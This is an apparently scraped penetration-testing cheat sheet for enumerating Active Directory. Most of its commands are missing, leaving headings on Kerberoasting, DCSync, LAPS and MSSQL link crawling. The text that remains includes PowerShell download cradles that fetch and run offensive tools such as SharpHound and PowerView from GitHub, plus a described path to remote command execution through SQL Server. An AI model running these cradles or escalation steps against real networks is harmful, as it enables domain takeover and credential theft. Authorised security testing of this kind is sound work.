Full Active Directory (AD) Enumeration

Work in progress

Enumeration Tools

Credit To: Pentest Everything

# adPEAS
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1);Invoke-adPEAS
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS-Light.ps1);Invoke-adPEAS

# BloodHound
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1);Invoke-Bloodhound -CollectionMethod "All,GPOLocalGroup"
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1);Invoke-Bloodhound -CollectionMethod "All,GPOLocalGroup" -Loop -Loopduration 06:00:00 -LoopInterval 00:15:00

# Invoke-ADEnum
IEX(IWR -UseBasicParsing https://raw.githubusercontent.com/Leo4j/Invoke-ADEnum/main/Invoke-ADEnum.ps1);Invoke-ADEnum

# PowerUpSQL
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

# PowerView
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1)

Native AD Module

General Enumeration

Domain Computer Enumeration

Domain Enumeration

Domain Controller Enumeration

Domain Policy Enumeration

Domain Trust Enumeration

Forest Enumeration

Group Enumeration

Group Managed Service Accounts

Group Policy Enumeration

Find GPO's Vulnerable to Takeover

Organisational Units Enumeration

User Enumeration

Less Focused on but Equally Important Areas

Access Control Lists

AppLocker / WDAC

AS-REP Roastable Users

AS-REP Roasting

Kerberoastable Users

PowerView

Kerberoasting

DCSync Rights

PowerView

Delegation - Constrained

Delegation - Unconstrained

Deleted Users

If we are a member of the AD group "AD Recycle Bin" we can view deleted user objects in PowerShell.

LAPS Enumeration

LAPS Delegation

The following can be used to identify what objects have the ability to read the LAPS passwords for identified systems in the domain.

Machine Account Quota

MSSQL Enumeration

PowerUpSQL

SQL Commands

MSSQL - PowerupSQL exploit example

Search for accessible instances in the current domain

Run the Get-SQLServerLinkCrawl on an accessible instance.

From the results above, the server mssql-master-srv Is the enterprise-level MSSQL server running with "sa" privileges? The path field shows in order how this is accessible, starting with mssql-srv. We can check for command execution specifying the first accessible instance in the pat,h which, in this cas,e is mssql-srv.

With confirmed command execution under the "sa" account on the mssql-master-srv we can then connect remotely by executing a PowerShell download cradle

Shares and Files Enumeration

PowerView (Shares)

PowerView (Files)

Snaffler

SPN Enumeration

User Hunting

PowerView

Administrative User Identification

Local System Enumeration

Windows allows any basic authenticated domain user to enumerate the members of a local group on a remote machine.

PowerView

WinNT Service

Domain Group Enumeration

AdminCount = 1

This can produce false positives as the AdminCount value is not always automatically updated when an account has been disabled or removed from a Group that provides privileged permissions.

PowerShell

PowerView

AD Groups with Local Admin Rights

Often times in domain environments domain user accounts are given member to a workstations local group 'Administrators'.

PowerView

Virtual Admins

Virtual Admins usually have full access to the virtualisation platform; identifying and owning these accounts can often give an attacker total control.

PowerView

Systems with Admin Rights

Finding computer accounts with a $ Sign at the end of the hostname in an admin group, we can then compromise the system and obtain SYSTEM privileges. The SYSTEM account on the compromised computer would then have AD admin privileges.

PowerView

Tools

Bloodhound

Ingestors

Last updated